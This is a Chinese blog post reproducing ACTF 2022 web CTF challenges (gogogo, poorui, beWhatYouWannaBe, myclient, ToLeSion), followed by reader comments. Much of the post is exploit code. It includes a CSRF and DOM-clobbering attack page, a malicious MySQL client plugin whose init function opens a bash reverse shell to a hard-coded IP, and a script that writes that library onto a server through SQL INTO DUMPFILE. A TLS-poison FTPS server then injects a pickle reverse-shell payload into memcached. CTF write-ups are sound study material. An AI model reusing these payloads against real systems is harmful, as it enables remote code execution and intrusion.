actf(复现)

actf(复现)

太菜了,纯坐牢
参考wp:https://mp.weixin.qq.com/s/DCxrEmkYzFdUa2YHOdnD7g
官方wp:https://github.com/team-s2/ACTF-2022/tree/main/web

gogogo

goahead环境变量注入,按照p神的文章打就行:https://tttang.com/archive/1399/
然后由于共用一个环境,需要爆破fd。我包含的是tmp文件,一样的道理。然后不懂为啥一直打不通,本地也很玄学,有时能通,有时不行。然后最后蹭到了flag,有点离谱。。。

poorui

审半天代码,没想到居然有非预期websocket。。。看来以后代码审计需要认真一点。

import { WebSocketServer } from "ws";

server.js引入了ws

wss.on('connection', (ws, req) => {
    const { remoteAddress:host, remotePort:port } = req.socket 
    console.log(host, port)
    clients.set(`${host}:${port}`, ws)
    handleConn(ws, `${host}:${port}`)
})

这里有处理ws连接的操作。跟进:

ws.on('message', msg => {
        const data = JSON.parse(msg)
        console.log(data)
        handleMsg(data, ws)
    })

对ws传输的数据进行json格式解析。看到apiLogin(ws, msg.username)里面,然后居然可以直接登录admin。然后直接调用getflagapi。

username2ws.get('flagbot').send(JSON.stringify({
        api: "getflag",
        from: ws2username.get(ws)
    }))

这里是将flagbot转为ws实例,在flagbot.js里面可以看到

const handleGetFlag = (from) => {
    console.log('[getflag]', from)
    if(from === 'admin'){
        conn.send(JSON.stringify({
            api: 'sendflag',
            flag: FLAG,
            to: from
        }))
    }
}

直接将flag发到用户。直接用在线的websocket进行连接就行了


预期解为loadash+xss(好复杂,不是很懂)

beWhatYouWannaBe

xss和csrf就机会没做出来过,前端确实不是很会。第一部分其实有思路的,可惜js不会写,折磨了半天也没整好,太菜了5555。第二部分也大概猜到是啥,但是卡在第一部分了。学习一下。

part1

csrf,我一直以为只能传json,然后用fetch没写出来。。。没想到form表单也能解析。直接写一个form表单就行了。然后csrftoken也很好搞,由于除以1000,所以在1s左右是有效的,还好,不用爆破。

part2

需要DOM Clobbering,之前的seccon还有一些国外的比赛考过,还是之前的文章:https://xz.aliyun.com/t/7329
把一二部分合起来写一个html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js"></script>
</head>
<body>
<form id="form" action="http://localhost:8000/beAdmin" method="post">
    <input name="username" value="maxzed">
    <input id="csrftoken" name="csrftoken" value="">
</form>
<iframe name="fff" srcdoc="<iframe srcdoc='<input id=aaa name=ggg href=cid:Clobered value=this_is_what_i_want>test</input><a id=aaa>' name=lll>"></iframe>
<script>
    csrftoken.value = CryptoJS.SHA256(Math.sin(Math.floor(Date.now() / 1000)).toString()).toString(CryptoJS.enc.Hex);
    form.submit()
</script>
</body>
</html>

然后放到服务器上让bot访问就行。太可惜了,这道题本来能写的,可惜队里的js佬没空XD。

myclient

找不到文章参考,不知道原理是啥。纯纯脚本小子一波,希望有带佬教一下原理。

  1. 使用 MYSQLI_INIT_COMMAND 选项 + INTO DUMPFILE,写一个 evil mysql 客户端认证库到 /tmp/e10adc3949ba59abbe56e057f20f883e
  2. 使用 MYSQLI_INIT_COMMAND 选项 + INTO DUMPFILE 写入一个 Defaults 配置,其中group=client plugin-dir=/tmp/e10adc3949ba59abbe56e057f20f883e 和 default-auth=<name of library file - extension>
  3. 使用 MYSQLI_READ_DEFAULT_FILE 选项设置为 /tmp/e10adc3949ba59abbe56e057f20f883e/
    来加载一个恶意的配置文件,该文件将触发我们的 evil.so ,然后触发 init 函数。

按照wp里的写一个恶意c文件(纯复制):

#include <mysql/client_plugin.h>
#include <mysql.h>
#include <stdio.h>

/*
Ubuntu x86_64:
apt install libmysqlclient-dev
gcc -shared -I /usr/include/mysql/ -o evilplugin.so evilplugin.c
NOTE: the plugin_name MUST BE the full name with the directory traversal!!!
*/

static int evil_init(char * a, size_t b , int c , va_list ds)
{
    system("bash -c 'bash -i >& /dev/tcp/47.96.173.116/2333 0>&1'");
    return NULL;
}

static int evilplugin_client(MYSQL_PLUGIN_VIO *vio, MYSQL *mysql)
{
int res;
  res= vio->write_packet(vio, (const unsigned char *) mysql->passwd, strlen(mysql->passwd) + 1);
  return CR_OK;
}

mysql_declare_client_plugin(AUTHENTICATION)
  "auth_simple",  /* plugin name */
  "Author Name",                        /* author */
  "Any-password authentication plugin", /* description */
  {1,0,0},                              /* version = 1.0.0 */
  "GPL",                                /* license type */
  NULL,                                 /* for internal use */
  evil_init,                                 /* no init function */
  NULL,                                 /* no deinit function */
  NULL,                                 /* no option-handling function */
  evilplugin_client                    /* main function */
mysql_end_client_plugin;

按照官方wp完善了python脚本

import requests
import random
import string
import codecs

def genName():
    return random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters)+ random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) + random.choice(string.ascii_letters) +random.choice(string.ascii_letters)

url = "http://124.71.205.170:10047/index.php"

shell = open("evil.so","rb").read()
n = 100
chunks = [shell[i:i+n] for i in range(0, len(shell), n)]

print(len(chunks))

prefix = genName()
for idx in range(len(chunks)):
    name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx);
    chunk = chunks[idx]
    x = "0x" +codecs.encode(chunk,'hex').decode()
    if idx != 0 and idx != len(chunks)-1:
        previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
        sql = f"SELECT concat(LOAD_FILE('{previus_name}'), {x}) INTO DUMPFILE '{name}'"
        print(sql)
        r = requests.get(url,params={"key":"3", "value": sql})
        print(r.text)
        print(name)
    elif idx == len(chunks)-1:
        previus_name = '/tmp/e10adc3949ba59abbe56e057f20f883e/' + prefix+"_CHUNK"+str(idx-1)
        sql = f"SELECT concat(LOAD_FILE('{previus_name}'), {x}) INTO DUMPFILE '/tmp/e10adc3949ba59abbe56e057f20f883e/auth_simple.so'"
        print(sql)
        r = requests.get(url,params={"key":"3", "value": sql})
        print(r.text)
        open("name","w").write("auth_simple")
        print("auth_simple")
    else:
        sql = f"SELECT {x} INTO DUMPFILE '{name}'"
        r = requests.get(url,params={"key":"3", "value": sql})
        print(r.text)
cnf_payload = b"""[client]
init_command = select sleep(3)
plugin_dir = /tmp/e10adc3949ba59abbe56e057f20f883e/
default_auth = auth_simple
""".hex()

r = requests.get(url=url, params={
    "key": "3",
    "value": f'select 0x{cnf_payload} into dumpfile "/tmp/e10adc3949ba59abbe56e057f20f883e/ccc.cnf"'
})
print(r.text)
r = requests.get(url=url, params={
    "key": "4",
    "value": "/tmp/e10adc3949ba59abbe56e057f20f883e/ccc.cnf"
})
print(r.text)

default-auth好像需要和c里面的plugin name一样,要不然触发不了(整了一晚上)

ToLeSion

没复现成功,不懂什么原因。明显ssrf打memcached。很多协议ban了,有个ftps能用。然后这就有关于TLS posion攻击了。https://zhuanlan.zhihu.com/p/373864799
以及:https://link.zhihu.com/?target=https%3A//blog.zeddyu.info/2021/04/20/tls-poison/
看了半天,还是没懂。根据文章的打法,先在vps上下载https://github.com/jmdx/TLS-poison.git
然后按照里面的方式搭建服务器。然后用wp里面的脚本快速搭建ftps服务

import socketserver,threading,time,base64,sys,os
import redis
import pickle
class RCE:
    def __reduce__(self):
        cmd = "bash -c 'bash -i >& /dev/tcp/server-ip/port 0>&1'"
        return os.system, (cmd,)

pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))

os.system('redis-server > /dev/null 2>&1 &')
time.sleep(2)

r = redis.Redis(host='127.0.0.1', port=6379, db=0)
data_len = str(len(pickled)).encode()
payload = b"\r\nset actfSession:112233 0 0 " + data_len + b"\r\n" + pickled + b"\r\n"
print('payload len: ', len(payload), file=sys.stderr)
# assert len(payload) <= 32 好像超了也没事⼉
r.set('payload', payload)

# https://github.com/jmdx/TLS-poison modified for accepting 32 bytes injections
os.system(f'nohup ./custom-tls -p 8888 --certs ./fullchain.pem --key ./privkey.pem forward 2048 --verbose >run.log 2>&1 &') #根据实际的密钥位置修改
class MyTCPHandler(socketserver.StreamRequestHandler):
    def handle(self):
        print('[+] connected', self.request, file=sys.stderr)
        self.request.sendall(b'220 (vsFTPd 3.0.3)\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr,flush=True)
        self.request.sendall(b'230 Login successful.\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'200 yolo\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'200 yolo\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'257 "/" is the current directory\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'227 Entering Passive Mode (127,0,0,1,43,192)\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'200 Switching to Binary mode.\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        self.request.sendall(b'125 Data connection already open. Transferstarting.\r\n')
        self.data = self.rfile.readline().strip().decode()
        print(self.data, file=sys.stderr)
        # 226 Transfer complete.
        self.request.sendall(b'250 Requested file action okay, completed.')
        exit()

def ftp_worker():
    with socketserver.TCPServer(('0.0.0.0', 2048), MyTCPHandler) as server:
        while True:
            server.handle_request()

ftp_worker()
# print(sess.get(url, params={'url': target}).text, file=sys.stderr)

将8888端口转发到2048。然后memcached自带pickle,然后flask-session好像会对存在memcached的session进行反序列化,所以往memcached注入pickle序列化数据进行rce。根据脚本的意思,是把pickle序列化存在了服务器上的redis里面,然后ftps连接的时候发送(?)然后带着设置的session访问就可以rce了。
复现的时候,到第一个self.request.sendall(b'200 yolo\r\n')的时候就断开连接了,不知道为啥。。。。

评论

  1. 0xff
    2 年前
    2022-7-13 10:59:31

    可以说是一模一样,myclient看不懂原理,ToLeSion原理倒是看懂了,但是和师傅一样,ftp在第一个sendall(b’200 yolorn’)断开了, 我也不明白原因,我一开始觉得是不是cloudflare证书的问题,我换成阿里的也不得行,也没人可以教我,师傅如果后续明白了可以教教我

    • 博主
      0xff
      2 年前
      2022-7-13 23:24:00

      整了2天直接开摆了XD不会,若hxd学会了可以教教

      • 0xff
        maxzed
        2 年前
        2022-7-14 9:27:17

        师傅可以加个微信或qq向你学习下吗? 我是看你wp长大的,哈哈哈哈。

        • 博主
          0xff
          2 年前
          2022-7-14 11:23:19

          qq:2418435438

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇